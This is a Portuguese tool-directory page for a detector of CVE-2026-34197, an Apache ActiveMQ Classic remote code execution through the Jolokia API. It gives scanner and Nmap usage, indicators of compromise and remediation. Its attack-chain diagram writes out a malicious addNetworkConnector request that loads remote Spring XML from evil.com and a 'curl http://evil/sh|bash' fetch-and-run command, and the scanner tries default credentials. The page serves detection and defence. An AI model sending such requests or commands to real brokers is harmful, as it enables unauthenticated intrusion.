Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-34197 — Detecta RCE no Apache ActiveMQ Classic (CVE-2026-34197) via API Jolokia com scripts Python e Nmap NSE, verificando acesso não autenticado e vulnerabilidade de versão. | Kitploit
Ferramentas/GitHubGitHub/keraattin/cve-2026-34197
Scanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesSegurança de RedeTestes de Penetração
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

Detecta RCE no Apache ActiveMQ Classic (CVE-2026-34197) via API Jolokia com scripts Python e Nmap NSE, verificando acesso não autenticado e vulnerabilidade de versão.

Ver Repositório
24há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-34197 — RCE no Apache ActiveMQ Classic via API Jolokia

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Uma vulnerabilidade de execução remota de código no Apache ActiveMQ Classic que permite a um atacante executar código arbitrário ao invocar a operação MBean addNetworkConnector(String) através da API Jolokia (/api/jolokia/). O atacante incorpora um parâmetro brokerConfig malicioso apontando para um arquivo XML Spring remoto, que o ActiveMQ busca e analisa, instanciando objetos Java arbitrários e alcançando execução de código.

Nas versões 6.0.0 a 6.1.1 do ActiveMQ, o endpoint Jolokia é , tornando esta uma RCE não autenticada de zero clique.

completamente não autenticado

Esta vulnerabilidade esteve oculta no código-fonte por 13 anos antes de ser descoberta com auxílio de IA.


Índice

  • Fatos Rápidos
  • O que é o Apache ActiveMQ?
  • Análise Aprofundada da Vulnerabilidade
    • A Arquitetura: Jolokia e JMX
    • A Cadeia de Ataque
    • A Lacuna de Autenticação
  • Análise de Impacto
  • Versões Afetadas
  • Detecção
    • Scanner Python
    • Script Nmap NSE
    • Verificação Manual
  • Indicadores de Comprometimento
  • Remediação
  • Referências
  • Autor

Fatos Rápidos

CampoDetalhe
ID CVECVE-2026-34197
FornecedorApache Software Foundation
ProdutoApache ActiveMQ Classic
Versões AfetadasTodas as versões anteriores a 5.19.4 e 6.2.3
RCE Não AutenticadaVersões 6.0.0 a 6.1.1 (Jolokia sem autenticação)
CVSS v3.18.8 (Alta)
CWECWE-94 — Controle Inadequado da Geração de Código
Vetor de AtaqueRede
AutenticaçãoNecessária na 5.x; nenhuma na 6.0.0 a 6.1.1
Interação do UsuárioNenhuma
Maturidade do ExploitPoC público disponível
Corrigido EmActiveMQ Classic 5.19.4, 6.2.3
Idade do Bug~13 anos no código-fonte
DescobertaPesquisa de vulnerabilidade assistida por IA

O que é o Apache ActiveMQ?

O Apache ActiveMQ Classic é um dos brokers de mensagens de código aberto mais amplamente implantados no ecossistema Java. Ele implementa a especificação Java Message Service (JMS) e serve como espinha dorsal da comunicação assíncrona em milhares de ambientes empresariais em todo o mundo.

O ActiveMQ lida com tudo, desde filas de processamento de pedidos e pipelines de transações financeiras até fluxos de telemetria IoT e barramentos de eventos de microsserviços. Se a sua organização usa microsserviços baseados em Java, arquitetura orientada a eventos ou qualquer forma de mensageria assíncrona, há uma boa chance de o ActiveMQ estar em algum lugar da pilha.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

root@kitploit:~
Quando um atacante compromete o ActiveMQ, ele não obtém apenas um shell em um servidor. Ele se posiciona no **centro de todos os fluxos de mensagens** da organização, capaz de ler, modificar, redirecionar ou injetar mensagens entre sistemas críticos.

---

## Análise Aprofundada da Vulnerabilidade

### A Arquitetura: Jolokia e JMX

**JMX** (Java Management Extensions) é a interface de gerenciamento padrão para aplicações Java. Ela expõe "MBeans" (Managed Beans) que permitem monitorar e controlar os internals da aplicação. O ActiveMQ expõe MBeans para gerenciar brokers, filas, tópicos, conexões e muito mais.

**Jolokia** é uma ponte JMX-sobre-HTTP. Ela traduz operações JMX em uma API JSON RESTful, tornando possível gerenciar aplicações Java por meio de requisições HTTP, em vez de exigir um cliente JMX dedicado.

O ActiveMQ Classic vem com o Jolokia integrado, acessível em `/api/jolokia/` na porta do console web (padrão: 8161).```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

É aqui que o problema começa. O Jolokia expõe todo o poder da gestão JMX através de uma API HTTP simples. E uma das operações MBean disponíveis no broker é addNetworkConnector(String).

A Cadeia de Ataque

A operação addNetworkConnector(String) foi concebida para criar pontes de rede entre instâncias do broker ActiveMQ. Ela aceita uma string URI que descreve como ligar a outro broker.

O ActiveMQ suporta um esquema de URI vm:// para ligações de broker dentro do processo. Esses URIs suportam um parâmetro brokerConfig que aponta para um ficheiro de configuração Spring XML. E o Spring XML pode instanciar objetos Java arbitrários.

Aqui está a cadeia completa:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

root@kitploit:~
ActiveMQ está fazendo exatamente o que foi projetado para fazer: carregar uma configuração de broker. O problema é que a fonte da configuração é controlada pelo atacante, e o Spring XML é efetivamente um formato de execução de código.

### A Lacuna de Autenticação

É isso que eleva a vulnerabilidade de grave para crítica:

| Versão do ActiveMQ | Status de Autenticação do Jolokia | Impacto |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Autenticado (padrões: admin:admin) | RCE autenticado, frequentemente contornado trivialmente |
| 6.0.0 a 6.1.1 | **Completamente não autenticado** | **RCE não autenticado** |
| 6.1.2 a 6.2.2 | Autenticado | RCE autenticado |
| 5.19.4+ / 6.2.3+ | Corrigido | Não vulnerável |

No ActiveMQ 6.0.0 até 6.1.1, o endpoint Jolokia exige **zero autenticação**. Qualquer pessoa que consiga acessar a porta 8161 obtém execução remota de código não autenticada.

Mesmo nas versões em que o Jolokia exige autenticação, as credenciais padrão `admin:admin` são amplamente conhecidas e frequentemente deixadas inalteradas em ambientes de desenvolvimento, homologação e produção.

---

## Análise de Impacto

**Impacto imediato no host do broker:**
- Execução remota de código completa com os privilégios do processo do ActiveMQ
- Acesso a todas as filas de mensagens, tópicos e mensagens armazenadas
- Capacidade de ler/modificar/injetar mensagens em trânsito
- Acesso a arquivos de configuração, keystores e credenciais armazenadas

**Impacto downstream (via manipulação de mensagens):**
- Injeção de mensagens maliciosas em filas de processamento
- Modificação de transações financeiras, pedidos ou comandos em andamento
- Interceptação de dados sensíveis que fluem pelo broker
- Interrupção de todos os serviços dependentes de mensagens

**Amplificação do risco empresarial:**
- O ActiveMQ fica na interseção de todos os aplicativos que o utilizam
- Um único broker comprometido pode afetar dezenas de serviços conectados
- Brokers de mensagens são tipicamente posicionados em zonas de rede confiáveis com amplo acesso
- O movimento lateral é direto a partir da posição de rede do broker```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

Versões Afetadas

VersãoStatus
ActiveMQ Classic 6.2.3+Corrigida
ActiveMQ Classic 5.19.4+Corrigida
ActiveMQ Classic 6.0.0 a 6.2.2Vulnerável (6.0.0 a 6.1.1 = sem autenticação)
ActiveMQ Classic < 5.19.4Vulnerável (autenticado)
ActiveMQ ArtemisNão afetado (base de código diferente)

Detecção

Scanner Python

O script Python detecta instâncias vulneráveis do ActiveMQ por meio de uma análise em várias etapas.

Como funciona:

  1. Verificação do Endpoint Jolokia — Testa se /api/jolokia/ está acessível sem autenticação (HTTP 200 = aberto, 401 = autenticação necessária)
  2. Teste de Credenciais Padrão — Se o Jolokia exigir autenticação, tenta admin:admin, user:user, admin:activemq
  3. Detecção de Versão — Extrai as strings de versão do ActiveMQ das páginas /admin/ e / usando correspondência de padrões regex
  4. Acessibilidade do MBean — Realiza uma consulta de pesquisa Jolokia segura para org.apache.activemq:type=Broker para confirmar que o caminho de exploração existe

Nenhum payload de exploração é enviado. Nenhum comando é executado. O scanner apenas observa a acessibilidade do endpoint e as informações de versão.

Uso:```bash

Install dependencies

pip install -r requirements.txt

Single target

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

With custom credentials

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

Bulk scan from file with verbose output

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

HTTPS with SSL verification disabled (default)

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

Increased timeout for slow networks

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

root@kitploit:~
**Opções:**

| Bandeira | Descrição | Padrão |
|------|-------------|---------|
| `-t`, `--target` | URL de destino única (ex.: `http://host:8161`) | — |
| `-f`, `--file` | Arquivo com URLs de destino, uma por linha (comentários com `#` suportados) | — |
| `-u`, `--username` | Nome de usuário para autenticação Jolokia | — |
| `-p`, `--password` | Senha para autenticação Jolokia | — |
| `-o`, `--output` | Salvar resultados em arquivo JSON | — |
| `--timeout` | Tempo limite de conexão em segundos | `10` |
| `--verify-ssl` | Habilitar verificação de certificado SSL | Desabilitado |
| `-v`, `--verbose` | Saída detalhada com informações completas | Desligado |

**Exemplo de saída:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

Script NSE do Nmap```bash

Install the NSE script

sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb

Basic scan

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan a subnet

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

Multiple common ports

nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan targets from a file

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

With service version detection

nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

root@kitploit:~
**Exemplo de saída do Nmap:**```
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

Verificação Manual

Se quiser verificar manualmente com curl:```bash

Step 1: Check if Jolokia is accessible (should return JSON if open)

curl -sk http://:8161/api/jolokia/ | python3 -m json.tool

Step 2: Check with default credentials (if Step 1 returns 401)

curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool

Step 3: Check MBean accessibility (safe read-only query)

curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool

root@kitploit:~
Se o Passo 1 retornar uma resposta JSON com informações do agente Jolokia, o endpoint não está autenticado. Se o Passo 2 funcionar com credenciais padrão, você tem acesso autenticado. De qualquer forma, se o MBean do broker estiver acessível, o caminho de exploração existe.

---

## Indicadores de Comprometimento

Fique atento a estes sinais no seu ambiente:

| Indicador | Onde Verificar | O Que Procurar |
|:---|:---|:---|
| Acesso Jolokia | Logs de acesso do console web | POST para `/api/jolokia/` contendo `addNetworkConnector` |
| Busca de saída | Logs de rede / firewall | Requisições HTTP do ActiveMQ para hosts externos inesperados |
| Carregamento de Spring XML | Logs do ActiveMQ | Referências a URIs `xbean:http://` |
| Conectores de rede | Configuração do broker | URIs `vm://` com parâmetros `brokerConfig` que você não criou |
| Processos filhos | Monitoramento de processos | Processos inesperados gerados pelo processo Java do ActiveMQ |

**Comandos de investigação:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

Remediação

Ações imediatas (faça estas agora):

  1. Atualize o ActiveMQ Classic para a versão 5.19.4 ou 6.2.3 (dependendo do seu branch)
  2. Restrinja o acesso ao Jolokia adicionando regras de firewall ou ACLs de proxy reverso para bloquear acesso externo a /api/jolokia/
  3. Altere as credenciais padrão se você estiver usando admin:admin no console web

Curto prazo (esta semana):

  1. Audite os logs de acesso do Jolokia em busca de sinais de exploração (procure por operações addNetworkConnector)
  2. Revise os network connectors em todas as instâncias do ActiveMQ para entradas não autorizadas
  3. Verifique conexões de saída inesperadas dos hosts do broker ActiveMQ
  4. Rotacione as credenciais de quaisquer serviços que se conectam através do broker

Longo prazo:

  1. Segmentação de rede para a infraestrutura do message broker (VLAN de gerenciamento dedicada)
  2. Monitoramento de padrões de acesso ao Jolokia com alertas em operações MBean inesperadas
  3. Inclua o ActiveMQ em ciclos regulares de varredura de vulnerabilidades e gerenciamento de patches
  4. Desative o Jolokia completamente se o gerenciamento JMX não for necessário, ou vincule-o apenas ao localhost

Referências

  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API
  • SecurityWeek — RCE Bug Lurked in Apache ActiveMQ Classic for 13 Years
  • Help Net Security — Apache ActiveMQ RCE Vulnerability CVE-2026-34197
  • CSO Online — Claude Uncovers a 13-year-old ActiveMQ RCE Bug
  • CCB Belgium — Warning: High Severity Vulnerability in Apache ActiveMQ
  • CSA Singapore — Critical Vulnerability in Apache ActiveMQ Classic
  • GBHackers — Claude Identifies Critical 13-Year-Old RCE Vulnerability

Autor

Kerem Oruç — Engenheiro de Cibersegurança

  • GitHub: @keraattin
  • Twitter: @keraattin
Baixar ferramenta